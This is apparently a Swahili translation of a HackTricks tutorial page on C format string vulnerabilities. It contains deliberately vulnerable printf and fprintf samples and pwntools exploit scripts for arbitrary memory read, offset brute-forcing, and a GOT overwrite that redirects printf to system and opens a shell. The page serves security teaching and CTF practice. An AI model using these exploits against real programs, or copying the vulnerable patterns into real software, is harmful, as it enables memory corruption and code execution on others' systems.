Format Strings
Reading time: 8 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Katika C printf
ni kazi inayoweza kutumika kuchapisha maandiko fulani. Parameta ya kwanza ambayo kazi hii inatarajia ni maandishi halisi yenye waandishi wa fomati. Parameta zinazofuata zinazotarajiwa ni thamani za kuchukua nafasi ya waandishi wa fomati kutoka kwa maandiko halisi.
Kazi nyingine zenye udhaifu ni sprintf()
na fprintf()
.
Udhaifu huu unatokea wakati maandishi ya mshambuliaji yanapotumika kama hoja ya kwanza kwa kazi hii. Mshambuliaji ataweza kuunda ingizo maalum linalotumia uwezo wa printf format kusoma na kuandika data yoyote katika anwani yoyote (inasomeka/inaandikwa). Kwa njia hii, kuwa na uwezo wa kutekeleza msimbo wowote.
Formatters:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Mifano:
- Mfano unaoweza kushambuliwa:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Matumizi ya Kawaida:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Kwa Kutokuwepo kwa Hoja:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf inayoathiriwa:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Kupata Viashiria
Muundo %<n>$x
, ambapo n
ni nambari, unaruhusu kuashiria kwa printf kuchagua parameter ya n (kutoka kwenye stack). Hivyo ikiwa unataka kusoma parameter ya 4 kutoka kwenye stack ukitumia printf unaweza kufanya:
printf("%x %x %x %x")
na ungeweza kusoma kutoka kwa param ya kwanza hadi ya nne.
Au unaweza kufanya:
printf("%4$x")
na kusoma moja kwa moja ya nne.
Kumbuka kwamba mshambuliaji anadhibiti printf
parameta, ambayo kimsingi inamaanisha kwamba ingizo lake litakuwa kwenye stack wakati printf
inaitwa, ambayo inamaanisha kwamba anaweza kuandika anwani maalum za kumbukumbu kwenye stack.
caution
Mshambuliaji anayekontrol ingizo hili, ataweza kuongeza anwani zisizo na mpangilio kwenye stack na kufanya printf
izifikie. Katika sehemu inayofuata itafafanuliwa jinsi ya kutumia tabia hii.
Kusoma Bila Mpangilio
Inawezekana kutumia formatter %n$s
kufanya printf
ipate anwani iliyoko katika n nafasi, ikifuatia na kuichapisha kana kwamba ni string (chapisha hadi 0x00 ipatikane). Hivyo ikiwa anwani ya msingi ya binary ni 0x8048000
, na tunajua kwamba ingizo la mtumiaji linaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary kwa:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
Kumbuka kwamba huwezi kuweka anwani 0x8048000 mwanzoni mwa ingizo kwa sababu mfuatano utawekwa katika 0x00 mwishoni mwa anwani hiyo.
Tafuta offset
Ili kupata offset kwa ingizo lako unaweza kutuma bytes 4 au 8 (0x41414141
) ikifuatiwa na %1$x
na kuongeza thamani hadi upate A's
.
Brute Force printf offset
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
Jinsi inavyofaa
Kusoma kwa njia isiyo na mipaka kunaweza kuwa na manufaa kwa:
- Kutoa binary kutoka kwenye kumbukumbu
- Kufikia sehemu maalum za kumbukumbu ambapo info nyeti imehifadhiwa (kama vile canaries, funguo za usimbaji au nywila za kawaida kama katika hii CTF challenge)
Kuandika kwa Njia Isiyo na Mipaka
Formatter %<num>$n
inaandika idadi ya bytes zilizandika katika anwani iliyoonyeshwa katika param ya <num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kadri atakavyo kwa printf, atakuwa na uwezo wa kufanya %<num>$n
kuandika nambari isiyo na mipaka katika anwani isiyo na mipaka.
Kwa bahati, ili kuandika nambari 9999, si lazima kuongeza 9999 "A"s kwenye ingizo, ili kufanya hivyo inawezekana kutumia formatter %.<num-write>%<num>$n
kuandika nambari <num-write>
katika anwani inayotolewa na nafasi ya num
.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Hata hivyo, kumbuka kwamba kawaida ili kuandika anwani kama 0x08049724
(ambayo ni nambari KUBWA kuandika mara moja), inatumika $hn
badala ya $n
. Hii inaruhusu kuandika tu Bytes 2. Kwa hivyo operesheni hii inafanywa mara mbili, moja kwa ajili ya 2B za juu za anwani na nyingine kwa ajili ya zile za chini.
Kwa hivyo, udhaifu huu unaruhusu kuandika chochote katika anwani yoyote (kuandika bila mpangilio).
Katika mfano huu, lengo litakuwa kuandika upya anwani ya kazi katika jedwali la GOT ambalo litaitwa baadaye. Ingawa hii inaweza kutumia mbinu nyingine za kuandika bila mpangilio ili kutekeleza:
{{#ref}} ../arbitrary-write-2-exec/ {{#endref}}
Tuta andika upya kazi ambayo inapokea hoja zake kutoka kwa mtumiaji na kuielekeza kwa system
kazi.
Kama ilivyotajwa, kuandika anwani, kawaida hatua 2 zinahitajika: Unap andika kwanza Bytes 2 za anwani na kisha zile nyingine 2. Ili kufanya hivyo $hn
inatumika.
- HOB inaitwa kwa Bytes 2 za juu za anwani
- LOB inaitwa kwa Bytes 2 za chini za anwani
Kisha, kwa sababu ya jinsi format string inavyofanya kazi unahitaji kuandika kwanza ndogo ya [HOB, LOB] na kisha nyingine.
Ikiwa HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Ikiwa HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools Template
Unaweza kupata template ya kuandaa exploit kwa aina hii ya udhaifu katika:
{{#ref}} format-strings-template.md {{#endref}}
Au mfano huu wa msingi kutoka hapa:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
Inawezekana kutumia vitendo vya kuandika vya udhaifu wa format string ili kuandika katika anwani za stack na kutumia udhaifu wa aina ya buffer overflow.
Other Examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, matumizi ya msingi ya format strings kuvuja bendera kutoka kwenye stack (hakuna haja ya kubadilisha mtiririko wa utekelezaji)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string kuandika anwani
fflush
na kazi ya ushindi (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, format string kuandika anwani ndani ya main katika
.fini_array
(hivyo mtiririko unarudi nyuma mara moja zaidi) na kuandika anwani kwasystem
katika jedwali la GOT ikielekeza kwastrlen
. Wakati mtiririko unaporudi kwenye main,strlen
inatekelezwa kwa pembejeo ya mtumiaji na ikielekeza kwasystem
, itatekeleza amri zilizopitishwa.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.